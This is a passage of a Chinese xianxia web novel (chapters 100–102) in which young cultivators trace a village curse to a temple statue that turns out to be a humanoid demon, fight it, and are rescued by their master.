而封澄与他师徒之伦已成,以世人之目光,二人当立于亲厚有余,而亲密不足的两畔,山一般的伦理压下来,再无重归旧好的道理。 且她前尘往事尽数忘却,白纸一张,反咒的解开应当更加顺利才是。 偏生作为本应发生的结果,一切都未发生。 该置于他心口的反咒,张牙舞爪,喧嚣无比。 是何缘由,不必细想。 这倒是令赵负雪有些意外了,他想起封澄若无其事的一举一动,垂眸笑笑,一言未发。 温不戒越瞧越觉得不对,忽然间,赵负雪起身来,径直走向屋中,他瞪眼一看,只见他从屋中取了剑出来,从容向外走去。 “哎,”他顿觉不对,“你拿剑上哪去?” 赵负雪道:“去中水。 ” 温不戒登时笑了:“喂喂,人家不过一个外院大比,师兄进去掺和了,还有他们历练的余地吗?” 话没说完,那雪白身影已走出许多,温不戒站在原地,与水镜大眼瞪小眼,片刻,轻轻地笑了一声。 “好一个中水,”他心中道,“这么热闹……啧。” 他扬袖挥灭水镜,转身离去,不知从来刮来一阵妖风,轻飘飘地翻起了他的衣袖。 只见袖下两条狰狞蛇纹,鲜血淋漓。 而他眼神阴厉,与方才简直判若两人。 *** “全村中毒?” 封澄叼着不知从哪摘来的果子,咔咔几口啃了个干净,寸金不可置信地眨了眨眼,重新下去检查那具干尸的身体,半晌,喃喃道:“真是前所未闻的东西……一个好端端的活人,从毒发到现在,一天竟能变成这个样子。” 而姜徵却皱眉道:“并不像毒。” 陈还瞥了她一眼,把方要出口的话咽了回去,姜徵又道:“他的上牙膛有黑印,是施咒留下的咒印。” 说到咒时,紫班四人组当即一炸,不约而同地向后退了一步,封澄瞧着这龟孙样便心烦,冷冷一瞧,果然有黑印,当即道:“既然是咒,那便是借由媒介而施,一村数百人皆咒侵蚀,交叉面应当不大,直接去查便是。” 紫班一人不由得看了她一眼,大叫道:“当真是站着说话不腰痛,若查案途中,我们自己沾上了咒又怎么办?难道我们也跟着这帮凡人变干尸不成?还是将此物交给中水天机师罢,合该他们管的。” 一行数人神色各异,似乎是心中各有想法,祝京留神看了看,随即和缓道:“他说得不错,我们的考核并非此事,贸然留下,危险不说,万一耽搁了正经的考核,诸位的大比可是要遭殃了。” 话音一落,白发女子的眼睛垂了下去。那几个紫班修士当即就要整装上车,誓不沾这破咒半点儿,忽然间,封澄却道:“施咒者晚死一日,村中的人便多死一批,等我们将此事带到中水天机所上报,又要耽搁不少功夫,这时候的人岂不是多送了性命?” 祝京微笑道:“师侄要如何?” 封澄指指自己,懒洋洋道:“我留下,你们去。” 话音未落,四周一片寂静,姜徵反应过来,便道:“岂有将你一个人留在此处的道理,他们要大比,你不用么!?” 这话一出口,姜徵便骤然住了嘴。 她还真不用。 封澄道:“我乃赵负雪门下亲徒,外院之比于我而言无关紧要,大不了拿个末名回去就是。” 祝京又道:“虽是如此,可你势单力薄,灵力也不足。即便不出于大比,你一人在此除咒,也是凶险了些。” “若是加上我,姑娘还势单力薄么?”寸金忽然举起手,笑眯眯道。 “?你——” 寸金走到了封澄身边,少年身着红滚边校服,腰间配一串叮铃作响的细刀,高挑马尾一甩,少年意气便耀目到有些刺眼了。 “师叔带着他们去吧,这里有我呢,我也不必参加外院大比的。” 见寸金走出来,封澄有些意外,抬眼却见寸金冲她笑了笑:“放心,一切有师兄在呢。” 祝京看看左面,又看看右面,良久,叹了口气,道:“你又出来添什么乱……剩下几人不许找事,随我上车,去中水天机所接案。” 忽然身后又有一声道:“祝先生,我也要留下。” 封澄一抬眼,眼前之人却令她意外不已。 陈还走向她,站在了她的身边,随即封澄耳边便有一道微不可察的气音。 “可别想一个人出风头,我知道的,留影珠可开着。” 第100章 第100章钉住怪物 祝京轻轻地叹了口气,道:“历练从无兵分两路的道理,一共才七人,这边竟已过去了三人。” 封澄道:“只是人命关天,我不能不理。” 陈还切了一声道:“要我和那几个人一起做事,还不如直接咒死拉到。” 王铭一众登时气得红了脸,跳脚骂道:“谁要和你这个升不上班的小杂种一起?没娘养的杂种,谁嫌弃谁还说不定!” 当着祝京的面便敢如此污言秽语,陈还眼神一暗,一言不发。 眼瞅着那几人叫嚷成了一团,默了许久,姜徵走出来,淡淡道:“师尊带着他们去吧,我也留下,在这里盯着,不会出错。” 思索半晌,祝京才道:“好吧,若事情凶险,只管把留影珠捏碎,自有天机师前来救人,万万不要逞强。” 一行人便在村口分道扬镳了,封澄欣赏着渐渐远去的马车,转头道;“走,带我们进村子去。” 白发女子这才回过神来,她哦了几声,手忙脚乱地站起来,拖着那具干尸便往村中走去,一路走着,封澄便随口问道:“夫人怎么称呼。” 女子垂下眼,有些胆怯道:“娘娘们折杀我了,什么夫人不夫人的,叫我一声雪花就行。” 想来是偏居一隅的缘故,她在不抢劫的时候,有几分未谙世事的茫然,封澄长这么大头一回儿听见娘娘这个称呼,心里一时有些愣了。 陈还嗤笑一声——想来是这女子不得什么见识,见得穿得体面些的,便胡乱称呼娘娘,她凑上去阴阳道:“封娘娘,怎么不回人家的话?” 封澄没好气地拄了她一肘子,转头道:“我姓封,你随意称呼,这男子是你什么人?” 雪花沉默半晌,才道:“是我兄长。” 说话间,众人已进了村子,寸金留心一看,偏头便向姜徵问道:“姜姑娘,村子里几百人皆中了这咒,你觉得媒介会是什么。” 姜徵道:“无外乎是什么水井沟渠,亦或是村庙邪神。” 寸金点了点头,走着走着,忽然道:“哎,这儿的地是热的。” 随着话音,众人齐齐驻足,循着寸金所指看去,上去一摸,果然。 封澄抬了抬鼻子,奇道:“你一说我也觉出来了……还有股味道,闻着有些甜。” 雪花方要说话,一旁跟着的男子便脸色一僵,随即强打着笑意道:“二位说得对,这不远处,便是我们中水盛名远扬的子孙泉,来泡一泡,便有儿女,来泡两泡,便能生双胎。从前别说是中水人了,都有洛京人来特意泡我们这泉呢。” 封澄心知此事没这么容易,心中当即疑惑:“子嗣之事,合该去男女身上找缘由,怎么会泡一泡泉水就得儿女了?古怪,十分古怪。” 陈还当即哼笑:“多少银子泡一次?” 男子干笑着举了举手指:“二……” “二百文?你抢钱呢!” “不不不,不是二百。” 没等陈还缓过一口气来,他便跟着道:“二两银子,一刻钟。” 陈还爆发出一阵惊天动地的呛声;“……咳咳咳咳!?” 姜徵淡淡;“比崔家还黑。” 寸金倒是笑了:“这种价钱,还游人如织,想必是颇有奇效了。” 封澄与他对视一眼,心中皆有了几分猜测,她道:“请几位带我们去汤泉一窥。” 雪花忙道:“可以,没问题的,这汤泉取自山上之活水,源源不断,干净得很,上头的天机师也爱来泡。” 封澄有些好笑——都是修仙的天机师了,还要迷信这等子嗣之事。 中水之地,地如其名,丰沛温润得十分得宜,一进汤泉,饱受洛京邪风摧残的天机院四人不约而同地发出了一声喟叹,陈还喃喃道:“难怪敢收二两银子。” 只见这破败小村中,一座秀美高山屹立于上,山上清泉潺潺,一并汇入山下之泉水中,蒸腾的热气熏得人飘飘飘欲仙,叫人瞧什么也朦朦胧胧的,另有一派天然野趣。 寸金道:“这处瞧着并没什么咒术味道,领我们去旁的汤池看看。” 雪花傻傻道:“另外的汤池?这个汤池不够大吗?” 姜徵耐着心道:“夫人,我们并不是来泡汤,而是来查案的,与池子大小无关,只是要看全了才是。” 谁料雪花面上露出了更深的茫然神色:“我说的也是这个意思,娘……呃,姑娘,既然一个池子已经够大了,要旁的池子做什么呢?” 闻言,洛京二人的脸上皆露出被雷劈了的神情,寸金艰难道:“这,男女混池?” 雪花很确定地摇了摇头:“咱们这汤泉乃圣水,不分男女,大家都是合衣而入,算不得什么的。” 陈还喃喃道:“有这泡圣水的钱,不如去包俩年轻俊俏的小子多试试。” 话虽轻,可在场的都是耳聪目明的修士,霎时便一片寂静,只有封澄疑惑:“什么意思?” 此时此刻,姜徵寸金不约而同地猛咳嗽了几声,随即姜徵脸色阴沉:“乱做些莫名其妙的东西,这汤你们明日便封填了,别待洛京来人替你们封。” 雪花连忙道:“不是啊姑娘,我们这里是有传说……” 说罢,她拂袖便去,脚步生风,越走越快,几乎一路小跑地走了出去,在雪花与那男子惊惶又莫名的目光中,剩余三人也飞快地从这烧钱的汤泉里钻了出来。 站在门口,三人对视,不约而同地错开了视线,封澄本一头雾水,见三人神色,总算是后知后觉地反应过来, 当即腾地一下,脸上炸起一片红色,结结巴巴道:“哎?!” 封澄感觉知道这些的自己耳朵不干净了。姜徵与陈还皆是世家中浮沉过的,个中奥秘也是知道个七七八八,此时一见虽是尴尬,眼下却也早已调整了过来。 陈还眯了眯眼睛,忽然邪笑着凑近了封澄,缓声道:“这就吓得不轻了?借种生子算什么?那些大世家里的阴私事多了去,若是知道了岂不是要吓死你?不若回去问问你师尊。” 封澄道:“你若闲着,便去拿那池子的水漱漱口,少来玷污我师尊。” 陈还哼了一声,忽然间,肩膀被一撞,她微微一怒地回过头来,正正对上姜徵冷冰冰的双眼。 她霎时反应了过来。 方才只顾着招惹封澄,一时半会儿口出狂言,竟忘了这儿还有个实打实的姜家少主。 她说大世家都不干净,岂不是也把她姜家连带了进去? 所幸眼下并没有什么让少年人们拌嘴并生出嫌隙的机会,只听寸金那边一声惊呼,道:“有东西……有东西进我肚子里了。” 封澄只捕捉到一道黑色的尾巴隐没在寸金的腹中,神色一紧,封澄上去便扯寸金外裳,一摸,便发觉手下肚皮一点一点地膨胀了起来。 从院中赶出来的雪花见状,登时大叫一声坏了,紧接着便扑到寸金肚子上,脸色一白道:“这这这,他怎么也中咒了!” 寸金垂眸看看,面上露出了一副无奈的表情:“岂有此理。” 可这么说时,他的声音依旧是温和从容的,封澄牙关咬紧,心中奇怪这莫名黑影从何处冒出来,环顾一圈后,目光却忽然停在了一旁的迎客灯笼上。 这东西并不奇怪,但凡做生意的门户没有不用它的,做夜间生意的更是少不了它,此时一对盈盈黄光落在地上,看着十分柔和。 一只灯用的是皮影模样的手法,上头有花鸟竹虫影影绰绰,而另一只灯上空空如也,什么都没有。 封澄眯了眯眼睛,道:“这灯笼原本就是空的吗?” 姜徵一怔,回过神来,端详片刻,确凿无疑道:“一开始不是空的。” 若是门前摆着的两只灯笼,一只有花纹,另一只没有,若是照着她平素里敏锐,一定会在第一时间发觉这两只灯笼的不对称之处,进而哪哪儿不舒服,恨不得操刀上去替店家画上几只黑墨影子才好。 见姜徵否决,一旁的陈还当机立断地出手,从怀中取出一道锁魂符,道一声“去”,紧接着那灯笼中的黑影便如同活了一般,啸叫着,挣扎着向上爬去。 偏生这怪物凶得很,陈还再怎么天资强横,说到底也只是年轻的学生,这锁魂符只困了它短短一刹,那黑影便挣扎着爬了出来,封澄当机立断,一掌把陈还推开,随即拔剑出鞘,只见一道雪亮剑光横空而出,将那咒物死死地钉在了灯笼里。 这一切发生得太快,待反应过来方才是何等凶险的情形后,众人都有些后怕,寸金疼得额头上沁出冷汗,口中却还笑道:“阿弥陀佛,这咒可不要让第二人遭了才好。” 陈还惊魂未定,转头看向封澄,半晌,沉默地看向了另一边。 封澄手扶着长生,蹲下身来,轻轻地戳了戳那黑泥怪物,姜徵还未来得及阻止,她便抬起头来道:“这东西摸着十分古怪,像泥巴一样,闻着却比泥巴香许多,想来方才发出香味的东西,便是这黑泥巴一样的怪物。” 姜徵尚未出口的劝阻被噎在了喉中。 这寸金只是衣服碰到了咒物,它便能钻入寸金腹中,而封澄上手直接摸,竟然什么事都没有。 她若有所思的目光轻飘飘地落在了钉住怪物的长剑身上。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 100-110 第101章 第101章报应 在这咒泥从灯笼中提起的刹那,四周一片便渐渐地昏暗下去,雪花悄悄地缩了缩,小声道:“姑娘们,你们觉不觉得天忽然黑了。” 封澄勾唇一笑:“不,不是天黑。” 重重的黑泥鬼影跃动了起来,绕着这间莫名的山泉,左右跳跃,上下摇晃,众人的耳中有不合时宜的啸叫声,登时惊叫着背成一团。 此情此景,封澄却拎起这咒泥来看了看,微微眯了眯眼睛;“到底是什么香气呢……” 陈还骂一声:“还顾得上是什么香气!”紧接着便一击轰飞了扑过来的鬼影,回头道:“还不跑!” 雪花急道:“逃,逃去村庙里面,庙里有神仙护着,它们不敢进的。” 眼下也只能往村庙去了,众人忙把行动不便的寸金抬起,寸金腹部已缓缓平了下去,人却开始肉眼可见地干瘦了些,他疼得脸满头都是冷汗,还是强撑着站了起来,将人推开,不要人扶,封澄皱了皱眉,不容拒绝地把人扯了起来,冷声道;“眼下并不是逞强的时候,今日还有我们,轮不到你硬撑。” 话音未落,她后背便被一鬼影扑了一下,封澄右手长生钉着咒泥,左手扶着人,一时间左支右绌。 寸金低下头,有些怔然,一旁的陈还也是心中微动,半晌,她的足尖向前凑了凑,半晌,又犹疑着顿住了,谁料耳边忽然便过了一阵劲风,定睛一看,竟是姜徵风似的走了过去,冷声道:“你去看顾咒物,人有我扶着。” 封澄看着身旁鬼影,又看了看二话不说便上来帮忙的姜徵,顿了顿,果断地把人交给了姜徵。 陈还看着三人有些别扭,却还是勉强地把后背交付给对方的模样,心中升起一股莫名的滋味。她闷闷不乐地摸了摸怀中符咒,封澄回头急道:“陈还,怎么没跟上!” 顶着密密麻麻向身上压的鬼影,陈还终于回过神来,她应了一声,向前拼命走去。 行至村庙,重重鬼风终于停了下来。雪花阻止道:“这村庙没有门,停在这里便可以了。” 封澄道:“停在这里就可以?” “从前也闹过这样的鬼事,我们在这间屋子的檐下,毫发无损。” 明明是供人敬拜的庙,却连门都没一个,封澄眼底有几分思索,她擦了擦额上汗水,正待喘口气,忽然之间,却闻庙中有隐隐气味传来,这气味令她当即皱了眉毛,道:“好奇怪……怎么和这咒泥的味道一样。” 她当机立断,转过身来,踩着窗户,便在雪花与村民惊慌的喝止声中闪电似的蹿了进去,站定后,发觉这庙里地板陈旧,灰尘得能没过脚背,果然是久久无人进去。 可待她一抬头,眼前之景便将她骇在了原地。 “……这是什么,”她喃喃,片刻,猛地回头,一掌击碎了庙墙:“里头有东西,陈还,锁魂符!” 门外三人对视一眼,寸金脸色惨白,一步走向庙墙前的空洞:“有何端倪?” 重重阴风陡地从院中涌了出来。 陈还嘴上骂了一句,人却早飞身而入,怀中锁魂符砰砰一打轰了出去,可在看见庙中全景时,她却蓦地愣在了原地。 只见漆黑枯槁的村庙中,立着蜂巢似的密密麻麻的牌位,一点一点鬼气森森的火烛轻微地抖着,映着庙中一极为高大的慈悲女子像,那女子像指作莲花状,衣带飘飘若飞,只是面上金漆剥离,露出了脸下泥胎,看起来有些狰狞,颇为骇人。 眼前之景在几个少年人的眼中,堪称是前所未有之骇人。 陈还喃喃道:“操,这是什么东西。” 姜徵也有些傻了:“明明是个连庙门都没有的荒庙,怎么火烛一根都没熄?” 锁魂符砸到神女像上时,院中的火烛诡异地静止了一瞬。 “砰,砰——” 封澄大气不敢喘,不知是不是她的错觉,她似乎听到了什么巨大的心跳声。 “这东西身上的咒味最重,”寸金皱眉道,“我腹中咒物在向外跳。” 姜徵道:“找对地方了……这就是村中之咒的发源之地。” 封澄拎着那只黏糊糊的咒泥, 它仿佛突然有了生命似的,一团黑泥竟然有了手脚的轮廓,它艰难伸向了神像,口中吱吱地叫着:“……” 封澄凝眉细听,依稀分辨出,那是“母亲”的气音。 母亲? 她一愣,忽然间手上便是一痛,一个不察,那怪物竟然骤然伸长了身子,反口咬了她,随即挣扎着向那泥胎爬去,一旁的寸金也随之滚到在地,身上缓缓地流下了一团乌黑的泥。 咒解了。 不,不止这两团泥巴,随着庙门的敞开,密密麻麻的、不知何处来的漆黑泥巴仿佛行进的蚁似的,络绎不绝地、头尾相连着爬向了庙中的神像。 在一片行进的乌黑泥团里,笼在壁上的牌位摇摇欲坠,一个接着一个地摔倒了下来,在一片噼啪倒地的声音中,唯有一道声音越汇越大。 “……母亲。” “母亲。” 成千上万道窃窃私语喳喳地响,封澄脚下不防,被这黑泥一下带翻在了地上,这些方才还见血就钻的咒物仿佛霎时便贤良温顺了起来,哪怕是从封澄的脚下鱼贯而过,也不曾回头沾上她半分。 她正意外之时,却见寸金脸色冷凝,伸手将她拉了起来。 “小心,”他道,“那神像有古怪。” 果然,随着黑泥逐渐地爬向了庙中神像,那神像肉眼可见地鲜明了起来,先是暗淡的金箔一点一点地明亮,再是身上泥胎缓缓地痊愈,随后,竟然连身上衣带也有了颜色。 封澄抬剑,一剑将寸金身上爬出的咒物刺穿,那咒物瑟缩一下,似乎想要蜷缩回寸金体中,他的脸色刹那便难看了起来,封澄见状,想了想,松开了剑。 姜徵有些意外:“为何停手?若放任她自行吞噬,后果不堪设想!” 封澄将人拦下,抬眼看向神像。 “这是咒的解法……咒泥重归母体,人大概就没事了,离远些,不要动这些泥。” “……” 可吞噬了所有咒泥的神像,又是个如何可怖的存在? 众人尚未来得及行动,神像缓缓地动了。 她睁开了眼。 封澄:“!” 封澄嗅到了骤然弥漫而出的魔气,她登时隐隐色变:“是人形天魔,无关人等,撤!” 苍天,这大夏腹地里,竟然会有天魔这种东西! 话音未落,神像便从神台上轻盈无比地落了下来,身上的衣带竟然如同货真价实的飘带一样轻柔地晃了晃,寸金与姜徵同时拔出兵器,径直劈向神像,却见她轻飘飘一挥手,二人的兵器霎时一落,滚了下来。 电光火石间,陈还抽空喊了一句:“天魔?这里怎么会有天魔?!” 眼下这四人之中,真正实打实地面对过天魔的只有封澄一人,姜徵脸色发白道:“人形天魔,怎么解决?” 封澄果断道:“尚未想到,但首先,这里人这么多打不了——带人跑!” 咒泥统统被这人形天魔收归到了腹中,姜徵一怔,却见封澄早已一边一个把人推了出去,紧接着左手右手抓着雪花与一随行村民,怒喊道:“愣着干什么,赶紧跑,往空旷处跑!” 守在门口的村民如梦初醒,乱七八糟地便往外拥挤,村人还算机灵,知道四散而跑,神像悠游自在地走了下来,倏地扑向最近一人,还未等众人出手,她手起刀落,那人的腔子里的登时喷出一片红血。 封澄本已带着几个吓瘫了腿的人掠出去了,见状,牙关一咬,把人往前面一放,紧接着便回转过身来,手持长生,极狠极快地一剑刺去,剑光璀璨,那神像登时僵硬了片刻,可这灵剑一落到它身上,竟然就如同生切顽石似的,迸出一连串的金石之音。 神像缓缓地,吃力地将头扭了过来。 她的眼睛对着封澄机械地骨碌了几圈,眼珠各看各的,一只往东,一只往北,辘辘直转,最后,定定地锁死在了封澄的脸上。 原本放在她手中的尸身像被丢垃圾一样甩了出去,她压低身子,随即如野兽般向封澄袭来,封澄躲闪不及,只好拿剑硬挡,二者相击,霎时发出了一阵令人牙酸的吱嘎之声。 封澄哪怕将五行经倒过来念,她眼下也只是个十几岁、筋肉骨骼都未长全的半大孩子,这泥胎神像极大极沉,一时间,将封澄硬生生压倒在地上,扑起了一层尘土,寸金震声道:“师妹小心!” 紧接着便是丁零当啷一串的飞刀刺向了压在封澄身上的石像,可这一串的飞刀于她,不过是无关痛痒的东西,她连看也不回头看,缓缓地张开了嘴。 一排森然利齿排在她的口中,如若细看,还有一串一串涌动着的黑泥。 她一口咬向了封澄的肩膀,刹那间,血肉飞溅。 一旁的姜徵寸金勃然色变,把手上的人一丢便要往这边来,谁料那几个人反倒是死死拉住了二人的腿,叫二人一时半会之间竟然难以动弹。 神像将一排利齿对准了封澄的喉咙。 第二口即将下去之时,神像背后轰然一响,紧接着便是一串火云腾地燃了上去,她登时尖叫着跳了起来,口中不断地发出骇人不已的尖啸,封澄借机得以脱身,当即一骨碌从她的身下滚了出来,随即对着一旁的陈还道:“多谢!” 陈还有些不自在地撇了撇嘴,冷哼一声偏过头去:“赵尊者的符也不过如此……我还以为能一击把那魔物杀了呢。” 封澄闻言,尴尬地笑了笑。 “啊……其实那符是我画的。” 陈还登时瞪大了眼,忽然她又变了脸色,道:“封澄闪开!” 在见到周身燃火的神像狰狞无比地向她扑来之时,封澄心底竟然只划过了一句话。 “因果轮回,报应不爽,早知道拿师尊的符给她了。” 第102章 第102章传送阵法 电光火石一刹,封澄瞥到了一旁的长生,她一把抓过剑,生死一线之际,竟硬生生逼出了她前所未有的战意。 神像的动作映在封澄的眼底,仿佛一派杀气横然的慢动作,在持剑抬起之时,封澄心底莫名划过一个奇怪的想法。 她想:“要是这把兵器,更长一些就好了。” 烈火扑来,她一剑横向了神像的胸腹,随即那怪物的烈火便扑到了她的袖上来,封澄当即受力一滚,紧接着低头看去,右手袖子已经烧去大半,连带着皮肤上也起了一溜的火泡。 她疼得有些呲牙——火符里头并不是凡火,而是实打实的灵力,这一烧即便是修道之人,也难免受其波及,一旁的寸金正欲上前,姜徵便吼道:“速速把人带离,不要妄自上前!” 这一句话正正说在封澄的心坎里,她咬牙格开神像,紧接着回头道:“赶紧走!” 寸金一咬牙,手向怀中一掏,将手中留影石极快地抛向了神像,宝光莹润的石头应声而碎,霎时间,只剩下了一团焦黑的碎屑。 封澄怔了怔,连那神像也慢慢地抬起头来。 留影石破碎的刹那,灿阳似的灵力从其中汹涌而来,随即紧密无比地包裹在了封澄的身上,封澄抬起双手,有些茫然地看了看,那神像把手落在她身上,身上霎时便传来了刺啦刺啦的声音。 她登时受惊不小,一步跳到了后面,端庄仪态全无,冲封澄发出压低的嘶吼声,封澄这才 反应过来,她有些意外地捏了捏拳头,感激地回过头去,道:“多谢师兄。” 寸金微微笑了笑,二人的默契在眼中一划而过,紧接着寸金便随着姜徵与陈还撤离。 陈还瞟了一眼寸金,手上却不自觉地捏了捏系在手腕上的留影石。 是了,寸金是内院的天之骄子,一时赌气,连内院的身份都可以不要,甚至能玩笑似的挑了个红班呆着。 可所有人都知道,他想回去,一转身便回去了。 陈还猝然捏紧了拳头。 荒谬无比,抛弃留影石视同放弃外院大比,可寸金一个假模假样的内院混账,偏偏能轻而易举地放弃她视若珍宝的东西! 封澄厉声道:“陈还,你还站在那里做什么?快跑!” 陈还咬了咬唇,终于转身,随着姜徵与寸金去了。 那神像见难以接近身边环着护体灵力的封澄,站在原地,彩绘的脸露出个悲天悯人的笑意。 紧接着一张口,汹涌的黑泥从她口中滚滚而出,潮水似的涌向封澄,封澄一瞧,当即心中一凉:“不好!” 这黑泥一贴到护体灵力便化作齑粉,可它们前赴后继、视死如归地扑了上来,竟然以血肉之躯,将护体灵力吞噬下去了。 满身都是黑泥的封澄艰难地劈下几团黏糊糊的黑泥,强运着身体中的灵力,试图振开黑泥,可人形天魔的杀招哪里是这么好避开的?封澄一振,非但没能振开黏在身上的黑泥,反倒是把自己的灵力耗去不少。 “这种时候……这种东西!”她忍不住咬牙,手艰难地触到了胸口的留影石。 若是在场有第二人,便能将她身上的黑泥除去,可眼下四处无人,天机所离这里不知有多远,封澄只能寄希望于第二枚留影石能撑得久一些,至少要撑到姜徵一行把人安全带出去。 在即将捏碎胸口的留影石之时,身边忽然传来一声轻叱:“去!” 转瞬间,刷刷几道黄符飞来,半空便燃成几团耀目雷光,轰轰几下打在了封澄的身上,封澄微怔,借机从骤然褪下的黑泥潮水中挣脱了出来,转头才见来者。 她神色微怔:“是你?” 来者手上捻着一叠符咒,嘴上叼着几张,咬牙,狠绝无比地轰轰向着黑泥砸去,那黑泥一怯,随即闪躲开来,仿佛是生生矮了几段似的,来者不是旁人,正是陈还。 眼下之情形凶险无比,封澄本已做了孤军奋战的打算,谁知一回头,竟然碰见了陈还,她心中一时有些五味杂陈,不知是怎么想。 她道:“你怎么来了。” 陈还看也不看她:“那群凡人有姜徵和寸金护着,和我没有屁大点的关系。” 眼前的神像好似因此而暴怒了,黑泥重又聚回了她的身上,陈还瞅准了她,丢出了一连串的雷光火星,封澄会意,在她的紧锣密鼓的雷符掩护下冲向了神像。 陈还道:“在我黄符耗尽之前,你得把这东西杀了。” 封澄嘴角一勾,紧接着剑如满月,一剑削断了它半根黑泥糊着的手臂。 黑泥出体,她原本无坚不摧的身体仿佛骤然被掏空了,封澄的剑竟能藉此伤其根本,神像嚎叫一声,向后退去。 一臂落下,陈还擦了擦额上的汗水,她的脸色有些苍白,这苍白无疑是因为她的灵力耗费过甚——方才那一打黄符,有将近一半是她刚刚画出来的。 她尤且记得姜徵递给她黄符的眼神。 姜徵脸上有着被魔气侵蚀的痕迹,她垂眸,从储物囊中取出了一叠符纸。 “你灵力微薄,即便是能绘出符咒,又能将那神像如何?不过是挠痒痒。” 陈还劈手接过黄符,目光从下向上地盯着姜徵,眼底有着姜徵生平都不会理解的莫名冷厉。 “一张挠痒痒,十张,百张,还是挠痒痒吗。” 说罢,她再也没给她半个视线,而是以手引血,落纸成符。 她拥有的东西太少了,不能像寸金那般,果断把留影石给出去。 “留影石比我的命要紧,”陈还垂眸,绘完了最后一张符,将手指放在嘴里吮了吮,心中平静如水,默念道:“所以我来了。” 封澄有些惊诧于陈还的符咒储备,虽说一张两张的都是雷声大雨点小的雷符,可若是这么堆积起来,也是一股颇为庞然的力量,她借机而行,那点晨练混日子的剑法早已狗急跳墙地发展出了千万种毫无道理的乱剑,她步法全无,剑法生疏,只靠一身蛮力孤勇,竟然还真和这怪物有来有回地打了起来。 陈还见状,眼睛更亮,抬手便准备一气呵成地绘下再一批符。 谁料那神像几番受制,早已发觉了背后陈还的动作,见她动作,眼神一眯,便如一道黑风似的向陈还冲来。陈还只见一只硕大阴森的人形天魔向她直直冲来,她登时手脚冰凉,动作也霎时慌乱起来,一时间竟点不燃手里头一张摇摇欲坠的雷符了。 打了这么久,陈还也灵力见底,她年纪也不大,又不像封澄从前在天魔手下讨生活,见如此大魔而害怕,简直是再正常不过的事了。 腥风将将拂过陈还的脸,她表情一片空白,眼中只有那神像悲天悯人的笑脸。 不知为何她的心中似有什么与这张笑脸重叠,陈还怔怔地抬起眼来。 电光火石一刹那,那神像颈上忽然被绕上了一条手臂,陈还抬眼一看,竟是封澄顶着神像后背的烈火,扑到了神像的后背,陈还一怔,当即震声道:“你不要命了!” 封澄咬牙,护体灵力在寸寸消逝,而她的手臂却从后背死死地绞着神像的后背,她的脸扭曲得有些狰狞——几乎完全不见平时那副吊儿郎当的模样了。 她咬牙道:“陈还,上锁魂符!” 陈还一愣,伸手从储物囊中一掏——这锁魂符是她自己绘的,效力十分有限,据方才的反应来看,连束缚这怪物一息都不得,说不准还会将她激怒,直接伤到身后的封澄。 生死一线之间,陈还也管不了这么多了,她指尖黄符一弹而出,紧接着点着那神像的额心道:“镇!” 在她说出口的一刹那,封澄几乎在同时拧着神像的脖子,从身后将她抡起,然后反手狠狠地掼在了地上! 喀拉一声,人头折断,脖子外面一层空空的金皮,粉饰太平地兜着其中残碎。 陈还目瞪口呆。 这一招乃躯体相搏,看着像某种游牧上摔跤的变种,可实际上来得却比摔跤凶狠许多——毕竟没有人的摔跤是锁着脖子摔的。 她看着地上被击起的一阵灰烟,一时愣住了。 神像的重量可想而知,即便是普通泥巴,堆到一整座庙高也是有分量的,更何况这神像身上还有什么奇怪的黑泥,都不用看,就知道这东西奇重无比。 而封澄把这东西,一整个翻了过去,连头都扭断了。 如此蛮力,如此灵力,近身格斗一瞬即发,陈还不由得把目光转向了封澄——她正趴在地上,一身狼狈地喘粗气。 “……老天,”陈还喃喃道。 少女身上已经没几块好肉了,血迹斑斑,不是近身搏斗搞出的外伤,就是灵力与魔气对冲搞出的内伤,身上的衣物和皮肤还有被火烧的焦黑状,偏生一抬眼时,桃花眼又闪闪发亮。 “我们赢了?”封澄看向她。 陈还看着巨坑一动也不能动的神像,陈还也有些茫然:“我们赢了?” 回答她们的是巨坑中的寂静。 封澄撑着没剩几块的结实骨头,缓缓从泥土中蹦了起来,她咧嘴要笑,谁知身上哪哪都疼,于是露出了个呲牙咧嘴的表情来,陈还见着好笑,手已经不自觉地扶了过去,最上却不饶人;“笑屁,差点把命交代上。” 嘴上生气,而接过她的臂膀却极为正直,封澄看着好笑,呲牙咧嘴地歪倒在她身上,嘴上忍不住抱怨地絮道:“剩下的大比我不去了,拿了末名我也认,老天,中水怎么会有这种东西?” 这只人形天魔看起来并不是第一日这个村落里,不光是从家庙的年份还是村民的态度来看,她应当在这里存在许久了。想来是还是一个胚胎之时,便被人弄来,砌进这小村子的家庙里。 封澄不由得眯了眯眼。 人形天魔这种东西,连长煌大原都少见,平常人活个一辈子够呛能摸到这种东西一片衣角的,怎么在中水这种村子里,还会有人形天魔的胚胎? 她将这疑惑小心翼翼地按捺进心底,打算立刻回洛京去和赵负雪说一声,两个半大丫头互相搀扶着走了几步,忽然间,身后传来一道诡异的声音。 “嘎嚓,擦。” 封澄与陈还瞳孔紧缩,缓缓地回过头来。 一颗悲 天悯人的人头,悄然无声地贴在二人眼前。 她缓缓地张开了嘴。 “……跑啊!!!” 封澄心中如同坐了一辆大起大落的过山车——天杀的,她怎么会以为人形天魔这种东西是能靠摔跤加绞杀弄死的!这种东西邪门得世上罕有! 人头并没有给近在咫尺的猎物逃生的机会,她口中的舌头如同漆黑的群蛇,凶猛而迅捷地杀向了封澄与陈还,封澄见状,拖着一身稀碎的零件,艰难地拦在了陈还的前面,紧接着,抬手捏碎了胸口的留影石。 “——唰。” 漆黑长舌将吞噬她之时,她本能地退了一步。 护体灵力能够护体,可逆反了自己的本能而以肉身挡住这些舌头,她强撑着不动,下意识地闭上眼睛。 手指已经感受到留影石的所化的粉末,可预料中的袭击却没有如约而至,取而代之的,是一阵清澈的冷香气。 ……冷香气? 封澄愕然地睁开了眼睛。 来者一身雪白长袍,手握灵光流转的长剑,衣袖翩飞,披下的墨发如同上好的水墨一般,他仿佛凭空而降的仙人似的,只一剑,便逼得那人头尖叫着后退去了。 不是旁人的,没有护体灵力。 她捏碎留影石,来的是赵负雪本人。 她几乎愣住着看着眼前的一切,方才在她手下几番来回,几乎把她与陈还硬生生活撕了的魔物在赵负雪面前,仿佛是一只修炼不到位的菜鸟,那人头左右滚了滚,见状不对,把腿要跑,谁料赵负雪一剑挥去,那人头连尖啸都来不及发出一声,便凄惨地化作了一地碎片。 他垂眸收剑,转过身来,在看到封澄的狼狈样子时,微不可察地皱了皱眉毛。 血,泥,身上连块好肉都没有,整整齐齐出的门,眼下成了这副又红又黑的样子。 